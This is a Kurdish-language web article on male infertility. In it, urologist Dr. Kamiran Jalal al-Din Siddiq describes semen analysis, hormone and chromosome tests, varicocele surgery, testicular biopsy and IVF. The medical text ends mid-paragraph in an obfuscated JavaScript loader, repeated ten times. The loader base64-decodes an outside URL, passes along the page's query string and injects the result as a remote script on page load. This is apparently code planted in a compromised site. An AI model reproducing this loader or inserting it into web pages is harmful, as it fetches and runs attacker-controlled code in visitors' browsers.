نەزۆکیا زەلامان ئەگەر و چارەسەری

نەزۆکیا زەلامان ئەگەر و چارەسەری

9

د. كامیران جلال الدین صدیق، تایبه‌تمه‌ندێ‌ نشته‌گه‌ریا گولچیسكان و جوبارین میزێ‌ و نه‌زوكیێ‌ دیاركر، ئه‌گه‌ر یێن هه‌ین ئه‌م بێژنه‌ كه‌سه‌كی كو یێ‌ نه‌زۆكه‌، ئێك ئه‌م ژ نه‌خۆشی داخاز دكه‌ین پشكنینا (شه‌هوه‌تا زه‌لامی) هنده‌ك سالوخه‌تێن تێداهه‌ین، پێدڤیه‌ وێ‌ پشكنینێ‌ بكه‌ت، رێكخراوا ساخله‌میا جیهانی، هنده‌ك ستانده‌ر یێن بۆ مه‌ داناین، كه‌نگی نورمال، و كه‌نگی دێ‌ حساب كه‌ی نه‌ نورمال، پیڤه‌ره‌ك یێ‌ تێداهه‌ی دیاردكه‌ت، كا لڤین و شێوێ‌ یێن دروستن یان نه‌، ل دووڤ ڤان پیڤه‌را ئه‌م بریارێ‌ دده‌ین كا ڤان ئاریشه‌ هه‌نه‌ بو نه‌زۆكیێ‌ یان نه‌، ئه‌گه‌ر پشكنینێن وی ئاریشه‌ تێدا هه‌بن، گه‌له‌ك جاران ئه‌م دبێژینێ‌ سوناره‌كێ‌ بگره‌ كا (دوالی) هه‌یه‌ یان نه‌، هنده‌ك جاران ژی پشكنینا (هورموناتا) دا بزانین كا چ هورمونێ‌ وی یێ‌ كێمه‌، ئه‌وێ‌ كارتێكرنێ‌ لێ‌ دكه‌ت، چونكو ئه‌گه‌رێن هورمونی ژی هه‌نه‌ كو نه‌زۆكی بو زه‌لامی چێدبیت، و گۆتژی: پشكنین گه‌له‌ك بو دیاركرنا نه‌زۆكیێ‌، ئه‌و پشكنینژی ئه‌ ڤه‌نه‌: “ پشكنینا سپێرمێن زه‌لامی یان ئاڤا زه‌لامی، پشكنینێن خوینێ‌ بو هورموناتا، پشكنینا سونارێ‌، پشكنینا كروسوماتا”، بو هنده‌ك حاله‌تا ئه‌ڤێن ئاڤا شه‌هوه‌تا وی ئێكجار چ تێدا نه‌بیت، گه‌له‌ك پشكنینێن دی هه‌نه‌، هنده‌ك نشته‌رگه‌ریا دا ئه‌م بێژینێ‌ (خه‌زعه‌) ئانكو دێ‌ زێده‌گوشته‌كی ژێ‌ وه‌رگرین فرێكه‌نه‌ (زه‌رعی) كا بوچی ئاڤا ڤی زه‌لامی سفره‌، بۆچی نینه‌ و بۆچی زاروك نابن؟.
د.كامیران جلال الدین صدیق زێده‌تر گوت: زه‌لامی ئێك پشكنین یاهه‌ی بو دیاركرنا نه‌زۆكیێ‌، به‌لێ‌ ژن پێدڤی ب گه‌لهگ شكنینایه‌ هه‌تا بو دیاردبیت كا ئاریشه‌ هه‌یه‌ بو نه‌زۆكیێ‌ یان نه‌، یاباشتر ئه‌وه‌ زه‌لام و هه‌ڤژینا وی پێكڤه‌ پشكنینا بكه‌ن ده‌مێ‌ پێكڤه‌ چێكرن ئه‌گه‌ر ئاریشه‌ ژلایێ‌ زه‌لامی بیت لازمه‌ بزڤریت بو چاره‌سه‌ریێ‌ و ئه‌گه‌ر ئاریشه‌ ژلایێ‌ ژنێ‌ بوو دڤێت بچیت پشكنینێن خوه‌ بكه‌ت دا بزانیت ئه‌گه‌ر چنه‌، و گۆتژی: ده‌مێ‌ زه‌لامه‌ك یێ‌ نه‌زوك بیت هنده‌ك رێك هه‌نه‌ بو په‌یدابوونا زارۆكان ئه‌گه‌ر (ده‌والی) هه‌بیت دێ‌ نشته‌رگه‌ریێ‌ بو كه‌ین، پشتی چه‌نده‌كێ‌ دێ‌ بینی پشكنینێن وی نورمالن بێ‌ چاره‌سه‌ری، هنده‌ك ژی ب چاره‌سهریا هرمانا ئه‌گه‌ر كه‌سه‌كی هورمونێن وی كێمبوون، دێ‌ بو ته‌عویزكه‌ین هنده‌كێن هه‌ین لڤینا وی یاكێمه‌ و گه‌له‌ك جورێن ده‌رمانان یێن هه‌ین دێ‌ پێ‌ چێبیت، هنده‌ك كه‌سێن دی هه‌نه‌ (سائل مه‌نه‌ویا) وان سفره‌، وی ده‌می ئه‌م سه‌حدكه‌ینێ‌ كا ئه‌م چبكه‌ین بو ڤی حاله‌تی دچیته‌ رێكه‌كا درێژ دا، دڤێت نشته‌رگه‌ریێ‌ بو بكه‌ی، زه‌رعه‌كێ‌ ژێ‌ كێشی ژنوو هه‌كه‌ مه‌ تێدا دیت، هینگی ئه‌و دشێت بچیته‌ رێكا دوێ‌ ته‌لقیحێ‌ چیكه‌ت.
د.كامیران جلال الدین صدیق، گۆت: زارۆكێن دناڤ شووشان دا بو وان دهێنه‌ چێكرن ئه‌ڤێن تشته‌ك هه‌بیت كو بو خوه‌ ژێ‌ چێه‌ت به‌ی نوكه‌ ت گوته‌ نه‌خۆشان هه‌رن هه‌وه‌ چجاران زارۆك، نابن نوكه‌ هه‌مان نه‌خۆشان، ئه‌م یێن دبینین و نشته‌رگه‌ریێ‌ بو دكه‌ین یێ‌ بو سه‌حب دكه‌ین و یێ‌ بخو دچینن ب رێكا (ئه‌نابیبا).(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە